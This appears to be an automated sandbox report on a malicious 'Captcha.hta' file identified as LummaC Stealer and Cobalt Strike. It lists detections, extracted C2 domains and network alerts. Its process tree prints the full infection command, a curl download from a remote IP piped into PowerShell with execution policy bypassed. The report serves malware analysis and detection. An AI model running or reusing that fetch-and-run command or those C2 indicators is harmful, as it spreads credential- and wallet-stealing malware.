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Windows
Analysis Report
Captcha.hta
Overview
General Information
Detection
LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected HtmlPhish44
Yara detected LummaC Stealer
Yara detected obfuscated html page
.NET source code contains very large strings
.NET source code references suspicious native API functions
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Compiles code for process injection (via .Net compiler)
LummaC encrypted strings found
Machine Learning detection for dropped file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious execution chain found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match
Classification
- System is w10x64native
- mshta.exe (PID: 2492 cmdline:
mshta.exe "C:\Users\ user\Deskt op\Captcha .hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - cmd.exe (PID: 568 cmdline:
"C:\Window s\System32 \cmd.exe" /c curl -H "X-Specia l-Header: qInx8F3tuJ DHXgOEfPJj baipYaSE1m obJ2YRyo2r jNgnVDhJve vN8R2ku8oP CBonhmpzFb 2GYqPiLhJq " http://1 47.45.44.1 31/infopag e/bgfi.ps1 | powersh ell -NoPro file -Exec utionPolic y Bypass - Command - MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 1660 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - curl.exe (PID: 1844 cmdline:
curl -H "X -Special-H eader: qIn x8F3tuJDHX gOEfPJjbai pYaSE1mobJ 2YRyo2rjNg nVDhJvevN8 R2ku8oPCBo nhmpzFb2GY qPiLhJq" h ttp://147. 45.44.131/ infopage/b gfi.ps1 MD5: 4329254E74AD91D047E3CEDCC7C138C3) - powershell.exe (PID: 5040 cmdline:
powershell -NoProfil e -Executi onPolicy B ypass -Com mand - MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 4768 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\cqvy0dal \cqvy0dal. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 3308 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SEA2B.tmp" "c:\Users \user\AppD ata\Local\ Temp\cqvy0 dal\CSC988 509BDD3DA4 C189352818 1DB7478.TM P" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - RegAsm.exe (PID: 1848 cmdline:
"C:\\Windo ws\\Micros oft.NET\\F ramework\\ v4.0.30319 \\RegAsm.e xe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Lumma Stealer, LummaC2 Stealer | Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. | No Attribution |
{"C2 url": ["awake-weaves.cyou", "deafeninggeh.biz", "debonairnukk.xyz", "wrathful-jammy.cyou", "sordid-snaked.cyou", "immureprech.biz", "diffuculttan.xyz", "effecterectz.xyz"], "Build id": "DUkgLv--EBALAY"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security | ||
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_LummaCStealer_3 | Yara detected LummaC Stealer | Joe Security | ||
JoeSecurity_LummaCStealer_2 | Yara detected LummaC Stealer | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_LummaCStealer_4 | Yara detected LummaC Stealer | Joe Security | ||
JoeSecurity_LummaCStealer_4 | Yara detected LummaC Stealer | Joe Security | ||
JoeSecurity_AntiVM_3 | Yara detected AntiVM_3 | Joe Security | ||
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
JoeSecurity_LummaCStealer_2 | Yara detected LummaC Stealer | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_LummaCStealer_4 | Yara detected LummaC Stealer | Joe Security | ||
JoeSecurity_LummaCStealer_4 | Yara detected LummaC Stealer | Joe Security |
System Summary |
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Source: | Author: Michael Haag: |
Source: | Author: frack113: |
Source: | Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: frack113: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Data Obfuscation |
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Source: | Author: Joe Security: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T17:33:59.162444+0100 | 2028371 | 3 | Unknown Traffic | 192.168.11.20 | 49711 | 172.67.207.38 | 443 | TCP |
2024-12-12T17:34:00.352278+0100 | 2028371 | 3 | Unknown Traffic | 192.168.11.20 | 49712 | 172.67.207.38 | 443 | TCP |
2024-12-12T17:34:01.198117+0100 | 2028371 | 3 | Unknown Traffic | 192.168.11.20 | 49713 | 172.67.207.38 | 443 | TCP |
2024-12-12T17:34:02.050943+0100 | 2028371 | 3 | Unknown Traffic | 192.168.11.20 | 49714 | 172.67.207.38 | 443 | TCP |
2024-12-12T17:34:03.244896+0100 | 2028371 | 3 | Unknown Traffic | 192.168.11.20 | 49715 | 172.67.207.38 | 443 | TCP |
2024-12-12T17:34:04.255802+0100 | 2028371 | 3 | Unknown Traffic | 192.168.11.20 | 49716 | 172.67.207.38 | 443 | TCP |
2024-12-12T17:34:05.548951+0100 | 2028371 | 3 | Unknown Traffic | 192.168.11.20 | 49717 | 172.67.207.38 | 443 | TCP |
2024-12-12T17:34:08.579973+0100 | 2028371 | 3 | Unknown Traffic | 192.168.11.20 | 49718 | 172.67.207.38 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T17:34:00.033272+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.11.20 | 49711 | 172.67.207.38 | 443 | TCP |
2024-12-12T17:34:00.936925+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.11.20 | 49712 | 172.67.207.38 | 443 | TCP |
2024-12-12T17:34:09.472822+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.11.20 | 49718 | 172.67.207.38 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T17:34:00.033272+0100 | 2049836 | 1 | A Network Trojan was detected | 192.168.11.20 | 49711 | 172.67.207.38 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T17:34:00.936925+0100 | 2049812 | 1 | A Network Trojan was detected | 192.168.11.20 | 49712 | 172.67.207.38 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T17:33:57.549674+0100 | 2019714 | 2 | Potentially Bad Traffic | 192.168.11.20 | 49710 | 147.45.44.131 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T17:34:02.947656+0100 | 2048094 | 1 | Malware Command and Control Activity Detected | 192.168.11.20 | 49714 | 172.67.207.38 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T17:33:57.550523+0100 | 2800029 | 1 | Attempted User Privilege Gain | 147.45.44.131 | 80 | 192.168.11.20 | 49710 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Malware Configuration Extractor: |
Source: | ReversingLabs: |
Source: | Joe Sandbox ML: |
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Source: | Code function: | 7_2_00415298 | |
Source: | Code function: | 7_2_00415F66 |
Phishing |
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Source: | HTTPS traffic detected: | ||
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Software Vulnerabilities |
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Source: | Child: |
Source: | Code function: | 7_2_0040C917 | |
Source: | Code function: | 7_2_00425990 | |
Source: | Code function: | 7_2_00425990 | |
Source: | Code function: | 7_2_00415298 | |
Source: | Code function: | 7_2_00415298 | |
Source: | Code function: | 7_2_0043CB20 | |
Source: | Code function: | 7_2_0042C45C | |
Source: | Code function: | 7_2_0042B4FC | |
Source: | Code function: | 7_2_0042B4FC | |
Source: | Code function: | 7_2_0043CD60 | |
Source: | Code function: | 7_2_0040DD25 | |
Source: | Code function: | 7_2_00415F66 | |
Source: | Code function: | 7_2_00419770 | |
Source: | Code function: | 7_2_00419770 | |
Source: | Code function: | 7_2_00419770 | |
Source: | Code function: | 7_2_00419770 | |
Source: | Code function: | 7_2_00419770 | |
Source: | Code function: | 7_2_00419770 | |
Source: | Code function: | 7_2_00419770 | |
Source: | Code function: | 7_2_00419770 | |
Source: | Code function: | 7_2_0040CFF3 | |
Source: | Code function: | 7_2_0040CFF3 | |
Source: | Code function: | 7_2_00426054 | |
Source: | Code function: | 7_2_00426054 | |
Source: | Code function: | 7_2_0043B05D | |
Source: | Code function: | 7_2_0043B05D | |
Source: | Code function: | 7_2_0043B068 | |
Source: | Code function: | 7_2_0043B068 | |
Source: | Code function: | 7_2_0040E83B | |
Source: | Code function: | 7_2_0043B05B | |
Source: | Code function: | 7_2_0043B05B | |
Source: | Code function: | 7_2_0040A940 | |
Source: | Code function: | 7_2_0040A940 | |
Source: | Code function: | 7_2_0043C1F0 | |
Source: | Code function: | 7_2_0043B195 | |
Source: | Code function: | 7_2_0043B9A1 | |
Source: | Code function: | 7_2_004369A0 | |
Source: | Code function: | 7_2_0041E9B0 | |
Source: | Code function: | 7_2_004299B0 | |
Source: | Code function: | 7_2_0042526A | |
Source: | Code function: | 7_2_0041D270 | |
Source: | Code function: | 7_2_00423A34 | |
Source: | Code function: | 7_2_0043D2F0 | |
Source: | Code function: | 7_2_0043D2F0 | |
Source: | Code function: | 7_2_0043C280 | |
Source: | Code function: | 7_2_0043AAB2 | |
Source: | Code function: | 7_2_004252BA | |
Source: | Code function: | 7_2_004252BA | |
Source: | Code function: | 7_2_0041CB05 | |
Source: | Code function: | 7_2_00427326 | |
Source: | Code function: | 7_2_004143C2 | |
Source: | Code function: | 7_2_004143C2 | |
Source: | Code function: | 7_2_0042A3D0 | |
Source: | Code function: | 7_2_00436C00 | |
Source: | Code function: | 7_2_00418578 | |
Source: | Code function: | 7_2_0042750D | |
Source: | Code function: | 7_2_00421D10 | |
Source: | Code function: | 7_2_0040BDC9 | |
Source: | Code function: | 7_2_00417582 | |
Source: | Code function: | 7_2_00427DA2 | |
Source: | Code function: | 7_2_004205B0 | |
Source: | Code function: | 7_2_0042C64A | |
Source: | Code function: | 7_2_0042AE48 | |
Source: | Code function: | 7_2_00426E50 | |
Source: | Code function: | 7_2_0042B4F7 | |
Source: | Code function: | 7_2_0042B4F7 | |
Source: | Code function: | 7_2_0042AE24 | |
Source: | Code function: | 7_2_00433630 | |
Source: | Code function: | 7_2_0042C6E4 | |
Source: | Code function: | 7_2_00425E90 | |
Source: | Code function: | 7_2_0043CE90 | |
Source: | Code function: | 7_2_004166A0 | |
Source: | Code function: | 7_2_0041BEA0 | |
Source: | Code function: | 7_2_0042ADF4 | |
Source: | Code function: | 7_2_0041C6BB | |
Source: | Code function: | 7_2_0043BF40 | |
Source: | Code function: | 7_2_0043A777 | |
Source: | Code function: | 7_2_00409700 | |
Source: | Code function: | 7_2_00409700 | |
Source: | Code function: | 7_2_00409700 | |
Source: | Code function: | 7_2_0042C726 | |
Source: | Code function: | 7_2_0042C735 | |
Source: | Code function: | 7_2_0041DF80 | |
Source: | Code function: | 7_2_0040D7A2 | |
Source: | Code function: | 7_2_0040D7A2 |
Networking |
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Source: | HTTP traffic detected: |